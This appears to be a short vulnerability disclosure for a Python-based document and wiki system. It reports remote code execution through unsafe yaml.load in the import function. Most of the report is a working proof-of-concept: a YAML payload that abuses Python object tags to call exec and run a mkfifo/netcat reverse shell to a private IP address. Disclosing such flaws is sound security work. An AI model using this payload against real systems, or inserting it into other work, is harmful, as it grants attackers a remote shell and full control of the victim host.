✍️ Description

online document system developed based on python. It is suitable for individuals and small teams to manage documents, wiki, knowledge and notes. like gitbook this package is vulnerable for RCE due to Yaml.load in import function

🕵️‍♂️ Proof of Concept

Uploaded ZIp :

Payload.yaml :

!!python/object/new:type
 args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "__import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.102 8090 >/tmp/f')"

💥 Impact

This vulnerability is capable of RCE